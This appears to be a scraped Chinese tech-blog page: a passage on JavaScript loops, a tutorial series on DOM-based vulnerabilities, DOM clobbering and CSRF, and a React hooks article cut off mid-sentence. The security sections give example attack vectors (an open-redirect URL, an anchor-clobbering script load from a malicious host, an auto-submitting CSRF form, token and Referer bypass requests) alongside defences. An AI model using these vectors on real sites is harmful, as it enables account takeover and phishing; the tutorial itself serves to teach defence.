// '2'
// 'prop'

for-in 不是循环遍历数组的好方法:

  • 它访问的是属性键,而不是值。
  • 作为属性键,数组元素的索引是字符串,而不是数字。
  • 它访问的是所有可枚举的属性键(自己的和继承的),而不仅仅是 Array 元素的那些。

for-in 访问继承属性的实际用途是:遍历对象的所有可枚举属性。

数组方法 .forEach() [ES5]

鉴于 for 和 for-in 都不特别适合在数组上循环,因此在 ECMAScript 5 中引入了一个辅助方法:Array.prototype.forEach()

const arr = ['a', 'b', 'c'];
arr.prop = 'property value';

arr.forEach((elem, index) => {
console.log(elem, index);
});

// Output:
// 'a', 0
// 'b', 1
// 'c', 2

这种方法确实很方便:它使我们无需执行大量操作就能够可访问数组元素和索引。如果用箭头函数(在ES6中引入)的话,在语法上会更加优雅。

.forEach() 的主要缺点是:

  • 不能在它的循环体中使用 await
  • 不能提前退出 .forEach() 循环。而在 for 循环中可以使用 break

中止 .forEach() 的解决方法

如果想要中止 .forEach() 之类的循环,有一种解决方法:.some() 还会循环遍历所有数组元素,并在其回调返回真值时停止。

const arr = ['red', 'green', 'blue'];
arr.some((elem, index) => {
if (index >= 2) {
return true; // 中止循环
}
console.log(elem);
//此回调隐式返回 `undefined`,这
//是一个伪值。 因此,循环继续。
});

// Output:
// 'red'
// 'green'

可以说这是对 .some() 的滥用,与 for-of 和 break 比起来,要理解这段代码并不容易。

for-of 循环 [ES6]

for-of 循环在 ECMAScript 6 开始支持:

const arr = ['a', 'b', 'c'];
arr.prop = 'property value';

for (const elem of arr) {
console.log(elem);
}
// Output:
// 'a'
// 'b'
// 'c'

for-of 在循环遍历数组时非常有效:

  • 用来遍历数组元素。
  • 可以使用 await

  • 甚至可以将 break 和 continue 用于外部作用域。

for-of 和可迭代对象

for-of 不仅可以遍历数组,还可以遍历可迭代对象,例如遍历 Map:

const myMap = new Map()
.set(false, 'no')
.set(true, 'yes')
;
for (const [key, value] of myMap) {
console.log(key, value);
}

// Output:
// false, 'no'
// true, 'yes'

遍历 myMap 会生成 [键,值] 对,可以通过对其进行解构来直接访问每一对数据。

for-of 和数组索引

数组方法 .entries() 返回一个可迭代的 [index,value] 对。如果使用 for-of 并使用此方法进行解构,可以很方便地访问数组索引:

const arr = ['chocolate', 'vanilla', 'strawberry'];

for (const [index, elem] of arr.entries()) {
console.log(index, elem);
}
// Output:
// 0, 'chocolate'
// 1, 'vanilla'
// 2, 'strawberry'

总结

for-of 循环的的可用性比 forfor-in 和 .forEach() 更好。

通常四种循环机制之间的性能差异应该是无关紧要。如果你要做一些运算量很大的事,还是切换到 WebAssembly 更好一些。

原文链接:https://segmentfault.com/a/1190000039308259

收起阅读 »

Web 安全 之 DOM-based vulnerabilities

DOM-based vulnerabilities在本节中,我们将描述什么是 DOM ,解释对 DOM 数据的不安全处理是如何引入漏洞的,并建议如何在您的网站上防止基于 DOM 的漏洞。什么是 DOM...
继续阅读 »

DOM-based vulnerabilities

在本节中,我们将描述什么是 DOM ,解释对 DOM 数据的不安全处理是如何引入漏洞的,并建议如何在您的网站上防止基于 DOM 的漏洞。

什么是 DOM

Document Object Model(DOM)文档对象模型是 web 浏览器对页面上元素的层次表示。网站可以使用 JavaScript 来操作 DOM 的节点和对象,以及它们的属性。DOM 操作本身不是问题,事实上,它也是现代网站中不可或缺的一部分。然而,不安全地处理数据的 JavaScript 可能会引发各种攻击。当网站包含的 JavaScript 接受攻击者可控制的值(称为 source 源)并将其传递给一个危险函数(称为 sink 接收器)时,就会出现基于 DOM 的漏洞。

污染流漏洞

许多基于 DOM 的漏洞可以追溯到客户端代码在处理攻击者可以控制的数据时存在问题。

什么是污染流

要利用或者缓解这些漏洞,首先要熟悉 source 源与 sink 接收器之间的污染流的基本概念。

Source 源是一个 JavaScript 属性,它接受可能由攻击者控制的数据。源的一个示例是 location.search 属性,因为它从 query 字符串中读取输入,这对于攻击者来说比较容易控制。总之,攻击者可以控制的任何属性都是潜在的源。包括引用 URL( document.referrer )、用户的 cookies( document.cookie )和 web messages 。

Sink 接收器是存在潜在危险的 JavaScript 函数或者 DOM 对象,如果攻击者控制的数据被传递给它们,可能会导致不良后果。例如,eval() 函数就是一个 sink ,因为其把传递给它的参数当作 JavaScript 直接执行。一个 HTML sink 的示例是 document.body.innerHTML ,因为它可能允许攻击者注入恶意 HTML 并执行任意 JavaScript。

从根本上讲,当网站将数据从 source 源传递到 sink 接收器,且接收器随后在客户端会话的上下文中以不安全的方式处理数据时,基于 DOM 的漏洞就会出现。

最常见的 source 源就是 URL ,其可以通过 location 对象访问。攻击者可以构建一个链接,以让受害者访问易受攻击的页面,并在 URL 的 query 字符串和 fragment 部分添加有效负载。考虑以下代码:

goto = location.hash.slice(1)
if(goto.startsWith('https:')) {
location = goto;
}

这是一个基于 DOM 的开放重定向漏洞,因为 location.hash 源被以不安全的方式处理。这个代码的意思是,如果 URL 的 fragment 部分以 https 开头,则提取当前 location.hash 的值,并设置为 window 的 location 。攻击者可以构造如下的 URL 来利用此漏洞:

https://www.innocent-website.com/example#https://www.evil-user.net

当受害者访问此 URL 时,JavaScript 就会将 location 设置为 www.evil-user.net ,也就是自动跳转到了恶意网址。这种漏洞非常容易被用来进行钓鱼攻击。

常见的 source 源

以下是一些可用于各种污染流漏洞的常见的 source 源:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

以下数据也可以被用作污染流漏洞的 source 源:

  • Reflected data 反射数据
  • Stored data 存储数据
  • Web messages

哪些 sink 接收器会导致基于 DOM 的漏洞

下面的列表提供了基于 DOM 的常见漏洞的快速概述,并提供了导致每个漏洞的 sink 示例。有关每个漏洞的详情请查阅本系列文章的相关部分。

基于 DOM 的漏洞sink 示例
DOM XSSdocument.write()
Open redirectionwindow.location
Cookie manipulationdocument.cookie
JavaScript injectioneval()
Document-domain manipulationdocument.domain
WebSocket-URL poisoningWebSocket()
Link manipulationsomeElement.src
Web-message manipulationpostMessage()
Ajax request-header manipulationsetRequestHeader()
Local file-path manipulationFileReader.readAsText()
Client-side SQL injectionExecuteSql()
HTML5-storage manipulationsessionStorage.setItem()
Client-side XPath injectiondocument.evaluate()
Client-side JSON injectionJSON.parse()
DOM-data manipulationsomeElement.setAttribute()
Denial of serviceRegExp()

如何防止基于 DOM 的污染流漏洞

没有一个单独的操作可以完全消除基于 DOM 的攻击的威胁。然而,一般来说,避免基于 DOM 的漏洞的最有效方法是避免允许来自任何不可信 source 源的数据动态更改传输到任何 sink 接收器的值。

如果应用程序所需的功能意味着这种行为是不可避免的,则必须在客户端代码内实施防御措施。在许多情况下,可以根据白名单来验证相关数据,仅允许已知安全的内容。在其他情况下,有必要对数据进行清理或编码。这可能是一项复杂的任务,并且取决于要插入数据的上下文,它可能需要按照适当的顺序进行 JavaScript 转义,HTML 编码和 URL 编码。

有关防止特定漏洞的措施,请参阅上表链接的相应漏洞页面。

DOM clobbering

DOM clobbering 是一种高级技术,具体而言就是你可以将 HTML 注入到页面中,从而操作 DOM ,并最终改变网站上 JavaScript 的行为。DOM clobbering 最常见的形式是使用 anchor 元素覆盖全局变量,然后该变量将会被应用程序以不安全的方式使用,例如生成动态脚本 URL 。


DOM clobbering

在本节中,我们将描述什么是 DOM clobbing ,演示如何使用 clobbing 技术来利用 DOM 漏洞,并提出防御 DOM clobbing 攻击的方法。

什么是 DOM clobbering

DOM clobbering 是一种将 HTML 注入页面以操作 DOM 并最终改变页面上 JavaScript 行为的技术。在无法使用 XSS ,但是可以控制页面上 HTML 白名单属性如 id 或 name 时,DOM clobbering 就特别有用。DOM clobbering 最常见的形式是使用 anchor 元素覆盖全局变量,然后该变量将会被应用程序以不安全的方式使用,例如生成动态脚本 URL 。

术语 clobbing 来自以下事实:你正在 “clobbing”(破坏) 一个全局变量或对象属性,并用 DOM 节点或 HTML 集合去覆盖它。例如,可以使用 DOM 对象覆盖其他 JavaScript 对象并利用诸如 submit 这样不安全的名称,去干扰表单真正的 submit() 函数。

如何利用 DOM-clobbering 漏洞

某些 JavaScript 开发者经常会使用以下模式:

var someObject = window.someObject || {};

如果你能控制页面上的某些 HTML ,你就可以破坏 someObject 引用一个 DOM 节点,例如 anchor 。考虑如下代码:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

要利用此易受攻击的代码,你可以注入以下 HTML 去破坏 someObject 引用一个 anchor 元素:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

由于使用了两个相同的 ID ,因此 DOM 会把他们归为一个集合,然后 DOM 破坏向量会使用此集合覆盖 someObject 引用。在最后一个 anchor 元素上使用了 name 属性,以破坏 someObject 对象的 url 属性,从而指向一个外部脚本。

另一种常见方法是使用 form 元素以及 input 元素去破坏 DOM 属性。例如,破坏 attributes 属性以使你能够通过相关的客户端过滤器。尽管过滤器将枚举 attributes 属性,但实际上不会删除任何属性,因为该属性已经被 DOM 节点破坏。结果就是,你将能够注入通常会被过滤掉的恶意属性。例如,考虑以下注入:

<form onclick=alert(1)><input id=attributes>Click me

在这种情况下,客户端过滤器将遍历 DOM 并遇到一个列入白名单的 form 元素。正常情况下,过滤器将循环遍历 form 元素的 attributes 属性,并删除所有列入黑名单的属性。但是,由于 attributes 属性已经被 input 元素破坏,所以过滤器将会改为遍历 input 元素。由于 input 元素的长度不确定,因此过滤器 for 循环的条件(例如 i < element.attributes.length)不满足,过滤器会移动到下一个元素。这将导致 onclick 事件被过滤器忽略,其将会在浏览器中调用 alert() 方法。

如何防御 DOM-clobbering 攻击

简而言之,你可以通过检查以确保对象或函数符合你的预期,来防御 DOM-clobbering 攻击。例如,你可以检查 DOM 节点的属性是否是 NamedNodeMap 的实例,从而确保该属性是 attributes 属性而不是破坏的 HTML 元素。

你还应该避免全局变量与或运算符 || 一起引用,因为这可能导致 DOM clobbering 漏洞。

总之:

  • 检查对象和功能是否合法。如果要过滤 DOM ,请确保检查的对象或函数不是 DOM 节点。
  • 避免坏的代码模式。避免将全局变量与逻辑 OR 运算符结合使用。
  • 使用经过良好测试的库,例如 DOMPurify 库,这也可以解决 DOM clobbering 漏洞的问题。
原文链接:https://segmentfault.com/a/1190000039358953
收起阅读 »

Web 安全 之 CSRF

Cross-site request forgery (CSRF)在本节中,我们将解释什么是跨站请求伪造,并描述一些常见的 CSRF 漏洞示例,同时说明如何防御 CSRF 攻击。什么是 CSRF跨站请求伪造(CSRF)是...
继续阅读 »

Cross-site request forgery (CSRF)

在本节中,我们将解释什么是跨站请求伪造,并描述一些常见的 CSRF 漏洞示例,同时说明如何防御 CSRF 攻击。

什么是 CSRF

跨站请求伪造(CSRF)是一种 web 安全漏洞,它允许攻击者诱使用户执行他们不想执行的操作。攻击者进行 CSRF 能够部分规避同源策略。


CSRF 攻击能造成什么影响

在成功的 CSRF 攻击中,攻击者会使受害用户无意中执行某个操作。例如,这可能是更改他们帐户上的电子邮件地址、更改密码或进行资金转账。根据操作的性质,攻击者可能能够完全控制用户的帐户。如果受害用户在应用程序中具有特权角色,则攻击者可能能够完全控制应用程序的所有数据和功能。

CSRF 是如何工作的

要使 CSRF 攻击成为可能,必须具备三个关键条件:

  • 相关的动作。攻击者有理由诱使应用程序中发生某种动作。这可能是特权操作(例如修改其他用户的权限),也可能是针对用户特定数据的任何操作(例如更改用户自己的密码)。
  • 基于 Cookie 的会话处理。执行该操作涉及发出一个或多个 HTTP 请求,应用程序仅依赖会话cookie 来标识发出请求的用户。没有其他机制用于跟踪会话或验证用户请求。
  • 没有不可预测的请求参数。执行该操作的请求不包含攻击者无法确定或猜测其值的任何参数。例如,当导致用户更改密码时,如果攻击者需要知道现有密码的值,则该功能不会受到攻击。

假设应用程序包含一个允许用户更改其邮箱地址的功能。当用户执行此操作时,会发出如下 HTTP 请求:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com

这个例子符合 CSRF 要求的条件:

  • 更改用户帐户上的邮箱地址的操作会引起攻击者的兴趣。执行此操作后,攻击者通常能够触发密码重置并完全控制用户的帐户。
  • 应用程序使用会话 cookie 来标识发出请求的用户。没有其他标记或机制来跟踪用户会话。
  • 攻击者可以轻松确定执行操作所需的请求参数的值。

具备这些条件后,攻击者可以构建包含以下 HTML 的网页:

<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

如果受害用户访问了攻击者的网页,将发生以下情况:

  • 攻击者的页面将触发对易受攻击的网站的 HTTP 请求。
  • 如果用户登录到易受攻击的网站,其浏览器将自动在请求中包含其会话 cookie(假设 SameSite cookies 未被使用)。
  • 易受攻击的网站将以正常方式处理请求,将其视为受害者用户发出的请求,并更改其电子邮件地址。

注意:虽然 CSRF 通常是根据基于 cookie 的会话处理来描述的,但它也出现在应用程序自动向请求添加一些用户凭据的上下文中,例如 HTTP Basic authentication 基本验证和 certificate-based authentication 基于证书的身份验证。

如何构造 CSRF 攻击

手动创建 CSRF 攻击所需的 HTML 可能很麻烦,尤其是在所需请求包含大量参数的情况下,或者在请求中存在其他异常情况时。构造 CSRF 攻击的最简单方法是使用 Burp Suite Professional(付费软件) 中的 CSRF PoC generator

如何传递 CSRF

跨站请求伪造攻击的传递机制与反射型 XSS 的传递机制基本相同。通常,攻击者会将恶意 HTML 放到他们控制的网站上,然后诱使受害者访问该网站。这可以通过电子邮件或社交媒体消息向用户提供指向网站的链接来实现。或者,如果攻击被放置在一个流行的网站(例如,在用户评论中),则只需等待用户上钩即可。

请注意,一些简单的 CSRF 攻击使用 GET 方法,并且可以通过易受攻击网站上的单个 URL 完全自包含。在这种情况下,攻击者可能不需要使用外部站点,并且可以直接向受害者提供易受攻击域上的恶意 URL 。在前面的示例中,如果可以使用 GET 方法执行更改电子邮件地址的请求,则自包含的攻击如下所示:

![](https://vulnerable-website.com/email/change?email=pwned@evil-user.net)

防御 CSRF 攻击

防御 CSRF 攻击最有效的方法就是在相关请求中使用 CSRF token ,此 token 应该是:

  • 不可预测的,具有高熵的
  • 绑定到用户的会话中
  • 在相关操作执行前,严格验证每种情况

可与 CSRF token 一起使用的附加防御措施是 SameSite cookies 。

常见的 CSRF 漏洞

最有趣的 CSRF 漏洞产生是因为对 CSRF token 的验证有问题。

在前面的示例中,假设应用程序在更改用户密码的请求中需要包含一个 CSRF token :

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=wiener@normal-user.com

这看上去好像可以防御 CSRF 攻击,因为它打破了 CSRF 需要的必要条件:应用程序不再仅仅依赖 cookie 进行会话处理,并且请求也包含攻击者无法确定其值的参数。然而,仍然有多种方法可以破坏防御,这意味着应用程序仍然容易受到 CSRF 的攻击。

CSRF token 的验证依赖于请求方法

某些应用程序在请求使用 POST 方法时正确验证 token ,但在使用 GET 方法时跳过了验证。

在这种情况下,攻击者可以切换到 GET 方法来绕过验证并发起 CSRF 攻击:

GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

CSRF token 的验证依赖于 token 是否存在

某些应用程序在 token 存在时正确地验证它,但是如果 token 不存在,则跳过验证。

在这种情况下,攻击者可以删除包含 token 的整个参数,从而绕过验证并发起 CSRF 攻击:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

email=pwned@evil-user.net

CSRF token 未绑定到用户会话

有些应用程序不验证 token 是否与发出请求的用户属于同一会话。相反,应用程序维护一个已发出的 token 的全局池,并接受该池中出现的任何 token 。

在这种情况下,攻击者可以使用自己的帐户登录到应用程序,获取有效 token ,然后在 CSRF 攻击中使用自己的 token 。

CSRF token 被绑定到非会话 cookie

在上述漏洞的变体中,有些应用程序确实将 CSRF token 绑定到了 cookie,但与用于跟踪会话的同一个 cookie 不绑定。当应用程序使用两个不同的框架时,很容易发生这种情况,一个用于会话处理,另一个用于 CSRF 保护,这两个框架没有集成在一起:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

这种情况很难利用,但仍然存在漏洞。如果网站包含任何允许攻击者在受害者浏览器中设置 cookie 的行为,则可能发生攻击。攻击者可以使用自己的帐户登录到应用程序,获取有效的 token 和关联的 cookie ,利用 cookie 设置行为将其 cookie 放入受害者的浏览器中,并在 CSRF 攻击中向受害者提供 token 。

注意:cookie 设置行为甚至不必与 CSRF 漏洞存在于同一 Web 应用程序中。如果所控制的 cookie 具有适当的范围,则可以利用同一总体 DNS 域中的任何其他应用程序在目标应用程序中设置 cookie 。例如,staging.demo.normal-website.com 域上的 cookie 设置函数可以放置提交到 secure.normal-website.com 上的 cookie 。

CSRF token 仅要求与 cookie 中的相同

在上述漏洞的进一步变体中,一些应用程序不维护已发出 token 的任何服务端记录,而是在 cookie 和请求参数中复制每个 token 。在验证后续请求时,应用程序只需验证在请求参数中提交的 token 是否与在 cookie 中提交的值匹配。这有时被称为针对 CSRF 的“双重提交”防御,之所以被提倡,是因为它易于实现,并且避免了对任何服务端状态的需要:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

在这种情况下,如果网站包含任何 cookie 设置功能,攻击者可以再次执行 CSRF 攻击。在这里,攻击者不需要获得自己的有效 token 。他们只需发明一个 token ,利用 cookie 设置行为将 cookie 放入受害者的浏览器中,并在 CSRF 攻击中向受害者提供此 token 。

基于 Referer 的 CSRF 防御

除了使用 CSRF token 进行防御之外,有些应用程序使用 HTTP Referer 头去防御 CSRF 攻击,通常是验证请求来自应用程序自己的域名。这种方法通常不太有效,而且经常会被绕过。

注意:HTTP Referer 头是一个可选的请求头,它包含链接到所请求资源的网页的 URL 。通常,当用户触发 HTTP 请求时,比如单击链接或提交表单,浏览器会自动添加它。然而存在各种方法,允许链接页面保留或修改 Referer 头的值。这通常是出于隐私考虑。

Referer 的验证依赖于其是否存在

某些应用程序当请求中有 Referer 头时会验证它,但是如果没有的话,则跳过验证。

在这种情况下,攻击者可以精心设计其 CSRF 攻击,使受害用户的浏览器在请求中丢弃 Referer 头。实现这一点有多种方法,但最简单的是在托管 CSRF 攻击的 HTML 页面中使用 META 标记:

<meta name="referrer" content="never">

Referer 的验证可以被规避

某些应用程序以一种可以被绕过的方式验证 Referer 头。例如,如果应用程序只是验证 Referer 是否包含自己的域名,那么攻击者可以将所需的值放在 URL 的其他位置:

http://attacker-website.com/csrf-attack?vulnerable-website.com

如果应用程序验证 Referer 中的域以预期值开头,那么攻击者可以将其作为自己域的子域:

http://vulnerable-website.com.attacker-website.com/csrf-attack

CSRF tokens

在本节中,我们将解释什么是 CSRF token,它们是如何防御的 CSRF 攻击,以及如何生成和验证CSRF token 。

什么是 CSRF token

CSRF token 是一个唯一的、秘密的、不可预测的值,它由服务端应用程序生成,并以这种方式传输到客户端,使得它包含在客户端发出的后续 HTTP 请求中。当发出后续请求时,服务端应用程序将验证请求是否包含预期的 token ,并在 token 丢失或无效时拒绝该请求。

由于攻击者无法确定或预测用户的 CSRF token 的值,因此他们无法构造出一个应用程序验证所需全部参数的请求。所以 CSRF token 可以防止 CSRF 攻击。

CSRF token 应该如何生成

CSRF token 应该包含显著的熵,并且具有很强的不可预测性,其通常与会话令牌具有相同的特性。

您应该使用加密强度伪随机数生成器(PRNG),该生成器附带创建时的时间戳以及静态密码。

如果您需要 PRNG 强度之外的进一步保证,可以通过将其输出与某些特定于用户的熵连接来生成单独的令牌,并对整个结构进行强哈希。这给试图分析令牌的攻击者带来了额外的障碍。

如何传输 CSRF token

CSRF token 应被视为机密,并在其整个生命周期中以安全的方式进行处理。一种通常有效的方法是将令牌传输到使用 POST 方法提交的 HTML 表单的隐藏字段中的客户端。提交表单时,令牌将作为请求参数包含:

<input type="hidden" name="csrf-token" value="CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz" />

为了安全起见,包含 CSRF token 的字段应该尽早放置在 HTML 文档中,最好是在任何非隐藏的输入字段之前,以及在 HTML 中嵌入用户可控制数据的任何位置之前。这可以对抗攻击者使用精心编制的数据操纵 HTML 文档并捕获其部分内容的各种技术。

另一种方法是将令牌放入 URL query 字符串中,这种方法的安全性稍差,因为 query 字符串:

  • 记录在客户端和服务器端的各个位置;
  • 容易在 HTTP Referer 头中传输给第三方;
  • 可以在用户的浏览器中显示在屏幕上。

某些应用程序在自定义请求头中传输 CSRF token 。这进一步防止了攻击者预测或捕获另一个用户的令牌,因为浏览器通常不允许跨域发送自定义头。然而,这种方法将应用程序限制为使用 XHR 发出受 CSRF 保护的请求(与 HTML 表单相反),并且在许多情况下可能被认为过于复杂。

CSRF token 不应在 cookie 中传输。

如何验证 CSRF token

当生成 CSRF token 时,它应该存储在服务器端的用户会话数据中。当接收到需要验证的后续请求时,服务器端应用程序应验证该请求是否包含与存储在用户会话中的值相匹配的令牌。无论请求的HTTP 方法或内容类型如何,都必须执行此验证。如果请求根本不包含任何令牌,则应以与存在无效令牌时相同的方式拒绝请求。


XSS vs CSRF

在本节中,我们将解释 XSS 和 CSRF 之间的区别,并讨论 CSRF token 是否有助于防御 XSS 攻击。

XSS 和 CSRF 之间有啥区别

跨站脚本攻击 XSS 允许攻击者在受害者用户的浏览器中执行任意 JavaScript 。

跨站请求伪造 CSRF 允许攻击者伪造受害用户执行他们不打算执行的操作。

XSS 漏洞的后果通常比 CSRF 漏洞更严重:

  • CSRF 通常只适用于用户能够执行的操作的子集。通常,许多应用程序都实现 CSRF 防御,但是忽略了暴露的一两个操作。相反,成功的 XSS 攻击通常可以执行用户能够执行的任何操作,而不管该漏洞是在什么功能中产生的。
  • CSRF 可以被描述为一个“单向”漏洞,因为尽管攻击者可以诱导受害者发出 HTTP 请求,但他们无法从该请求中检索响应。相反,XSS 是“双向”的,因为攻击者注入的脚本可以发出任意请求、读取响应并将数据传输到攻击者选择的外部域。

CSRF token 能否防御 XSS 攻击

一些 XSS 攻击确实可以通过有效使用 CSRF token 来进行防御。假设有一个简单的反射型 XSS 漏洞,其可以被利用如下:

https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>

现在,假设漏洞函数包含一个 CSRF token :

https://insecure-website.com/status?csrf-token=CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz&message=<script>/*+Bad+stuff+here...+*/</script>

如果服务器正确地验证了 CSRF token ,并拒绝了没有有效令牌的请求,那么该令牌确实可以防止此 XSS 漏洞的利用。这里的关键点是“跨站脚本”的攻击中涉及到了跨站请求,因此通过防止攻击者伪造跨站请求,该应用程序可防止对 XSS 漏洞的轻度攻击。

这里有一些重要的注意事项:

  • 如果反射型 XSS 漏洞存在于站点上任何其他不受 CSRF token 保护的函数内,则可以以常规方式利用该 XSS 漏洞。
  • 如果站点上的任何地方都存在可利用的 XSS 漏洞,则可以利用该漏洞使受害用户执行操作,即使这些操作本身受到 CSRF token 的保护。在这种情况下,攻击者的脚本可以请求相关页面获取有效的 CSRF token,然后使用该令牌执行受保护的操作。
  • CSRF token 不保护存储型 XSS 漏洞。如果受 CSRF token 保护的页面也是存储型 XSS 漏洞的输出点,则可以以通常的方式利用该 XSS 漏洞,并且当用户访问该页面时,将执行 XSS 有效负载。

SameSite cookies

某些网站使用 SameSite cookies 防御 CSRF 攻击。

这个 SameSite 属性可用于控制是否以及如何在跨站请求中提交 cookie 。通过设置会话 cookie 的属性,应用程序可以防止浏览器默认自动向请求添加 cookie 的行为,而不管cookie 来自何处。

这个 SameSite 属性在服务器的 Set-Cookie 响应头中设置,该属性可以设为 Strict 严格或者 Lax 松懈。例如:

SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict;

SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax;

如果 SameSite 属性设置为 Strict ,则浏览器将不会在来自其他站点的任何请求中包含cookie。这是最具防御性的选择,但它可能会损害用户体验,因为如果登录的用户通过第三方链接访问某个站点,那么他们将不会登录,并且需要重新登录,然后才能以正常方式与站点交互。

如果 SameSite 属性设置为 Lax ,则浏览器将在来自另一个站点的请求中包含cookie,但前提是满足以下两个条件:

  • 请求使用 GET 方法。使用其他方法(如 POST )的请求将不会包括 cookie 。
  • 请求是由用户的顶级导航(如单击链接)产生的。其他请求(如由脚本启动的请求)将不会包括 cookie 。

使用 SameSite 的 Lax 模式确实对 CSRF 攻击提供了部分防御,因为 CSRF 攻击的目标用户操作通常使用 POST 方法实现。这里有两个重要的注意事项:

  • 有些应用程序确实使用 GET 请求实现敏感操作。
  • 许多应用程序和框架能够容忍不同的 HTTP 方法。在这种情况下,即使应用程序本身设计使用的是 POST 方法,但它实际上也会接受被切换为使用 GET 方法的请求。

出于上述原因,不建议仅依赖 SameSite Cookie 来抵御 CSRF 攻击。当其与 CSRF token 结合使用时,SameSite cookies 可以提供额外的防御层,并减轻基于令牌的防御中的任何缺陷。

原文链接:https://segmentfault.com/a/1190000039372004

收起阅读 »

useEffect, useCallback, useMemo三者有何区别?

背景在目前的react开发中,很多新项目都采用函数组件,因此,我们免不了会接触到hooks。此外,Hooks也是前端面试中react方面的一个高频考点,需要掌握常用的几种hooks。常用的有基本:useState, useEffect, useContext额...
继续阅读 »

背景

在目前的react开发中,很多新项目都采用函数组件,因此,我们免不了会接触到hooks。

此外,Hooks也是前端面试中react方面的一个高频考点,需要掌握常用的几种hooks。

常用的有

基本:useState, useEffect, useContext

额外:useCallback, useMemo, useRef

刚接触公司的react项目代码时,发现组件都是用的函数组件,不得不去学习hooks,之前只会类组件和react基础

其中useState不用说了,很容易理解,使我们在函数组件中也能像类组件那样获取、改变state

项目中很多地方都有useEffect, useCallback, useMemo,初看时感觉这三个都是包着一个东西,有它们跟没有它们感觉也没什么区别,很难分清这三个什么时候要用

所以这里就略微总结一下,附上一点个人在开发过程中的理解。


其实这三个区别还是挺明显的,

useEffect

useEffect可以帮助我们在DOM更新完成后执行某些副作用操作,如数据获取,设置订阅以及手动更改 React 组件中的 DOM 等

有了useEffect,我们可以在函数组件中实现 像类组件中的生命周期那样某个阶段做某件事情 (具有componentDidMountcomponentDidUpdate 和 componentWillUnmount的功能)

// 基本用法
useEffect(() => {
console.log('这是一个不含依赖数组的useEffect,每次render都会执行!')
})
useEffect 规则
  • 没有传第二个参数时,在每次 render 之后都会执行 useEffect中的内容
  • useEffect接受第二个参数来控制跳过执行,下次 render 后如果指定的值没有变化就不会执行
  • useEffect 是在 render 之后浏览器已经渲染结束才执行
useEffect 的第二个参数是可选的,类型是一个数组

根据第二个参数的不同情况,useEffect具有不同作用

1. 空数组

useEffect 只在第一次渲染时执行,由于空数组中没有值,始终没有改变,所以后续render不执行,相当于生命周期中的componentDidMount

useEffect(() => { console.log('只在第一次渲染时执行') }, []);

2. 非空数组

无论数组中有几个元素,数组中只要有任意一项发生了改变,useEffect 都会调用

useEffect(() => { getStuInfo({ id: stuId }); }, [getStuInfo, stuId]); //getStuInfo或者stuId改变时调用getStuInfo函数
useEffect用作componentWillUnmount

useEffect可以像让我们在组件即将卸载前做一些清除操作,如清空数据,清除计时器
使用方法:只需在现有的useEffect中返回一个函数,函数中为组件即将卸载前要做的操作

示例

useEffect(() => { 
getStuInfo({ id: stuId });
// 返回一个函数,在组件即将卸载前执行
return ()=> {
clearTimeout(Timer); // 清除定时器
data = null; // 清空页面数据,当我们希望页面切换回来时不显示之前的内容时在组件卸载前清空数据,常用于搜索页面,切回时显示空内容,需重新搜索
}
}, [getStuInfo, stuId]);

useCallback 和 useMemo

  • 相同点:useCallback 和 useMemo 都是性能优化的手段,类似于类组件中的 shouldComponentUpdate,在子组件中使用 shouldComponentUpdate, 判定该组件的 props 和 state 是否有变化,从而避免每次父组件render时都去重新渲染子组件。
  • 区别:useCallback 和 useMemo 的区别是useCallback返回一个函数,当把它返回的这个函数作为子组件使用时,可以避免每次父组件更新时都重新渲染这个子组件,
const renderButton = useCallback(
() => (
<Button type="link">
{buttonText}
</Button>
),
[buttonText]   // 当buttonText改变时才重新渲染renderButton
);

useMemo返回的的是一个值,用于避免在每次渲染时都进行高开销的计算。例:

// 仅当num改变时才重新计算结果
const result = useMemo(() => {
for (let i = 0; i < 100000; i++) {
(num * Math.pow(2, 15)) / 9;
}
}, [num]);

补充:什么时候用useCallback和useMemo进行优化

任何的优化都是有代价的,useCallback和useMemo虽然能够避免非必要渲染,但为此也付出了成本,比如保留额外的依赖数组;保留旧值的副本,以便在与先前依赖相同的情况下返回……

考虑到这些,在我们的项目中什么时候用useCallback和useMemo进行优化呢?

目前所在的公司,项目中所有地方都用了useCallback和useMemo,就这块问了一下mentor,他给出的答复是这样的:

